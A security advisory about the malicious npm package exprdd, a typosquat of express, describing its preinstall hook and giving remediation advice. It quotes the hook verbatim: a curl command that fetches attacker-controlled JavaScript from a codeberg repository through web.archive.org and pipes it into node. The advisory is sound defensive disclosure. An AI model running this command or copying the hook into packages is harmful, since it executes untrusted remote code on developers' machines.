npm · Malicious package advisory
Malwareexprdd
GHSA-w7pc-jg8g-2xr4
Malicious code in exprdd (npm)
Details
**Severity:** Critical **Affected versions:** `= 5.2.1` ## Source: amazon-inspector (4cd27ec488e87cd2e26c940ac161033475731708a3f2ae629c4a138275b520f9) [email protected] impersonates the express framework — package name, description, author, contributors, repository, homepage, and keywords are copied verbatim from express. package.json declares a preinstall lifecycle hook: "curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node". On `npm install`, this fetches JavaScript from a third-party host (codeberg.org/hellscripter/install-scripts, proxied through web.archive.org) and pipes it directly into node. The fetched code is attacker-controlled, unpinned (mutable `main` branch), and unverified, and executes with the installer's privileges before any package code is required. The typosquat name is the delivery vector for developers mistyping `express`. --- Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/ff0a031ac0542095162e57416d3112ec9b517f9e/osv/malicious/npm/exprdd/MAL-2026-17241.json)) **References:** - https://github.com/ossf/malicious-packages/blob/ff0a031ac0542095162e57416d3112ec9b517f9e/osv/malicious/npm/exprdd/MAL-2026-17241.json - https://www.npmjs.com/package/exprdd/v/5.2.1 - https://github.com/ossf/malicious-packages/blob/d53c7e96cbe6a819c1c046bd6901f95d067d15dd/osv/malicious/npm/exprdd/MAL-2026-17241.json - https://www.npmjs.com/package/exprdd - https://github.com/ossf/malicious-packages/blob/0f170577c1b430bf090f13c3851498e809fd5b95/osv/malicious/npm/exprdd/MAL-2026-17241.json - https://safedep.io/dirtyblanket-express-impersonation-npm - https://github.com/ossf/malicious-packages/blob/7a1f1382a84618fabc1c45e8b61e9c9cea6ea33f/osv/malicious/npm/exprdd/MAL-2026-17241.json - https://www.npmjs.com/package/exprdd/v/5.2.2
Compromised versions (1)
- = 5.2.1
Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.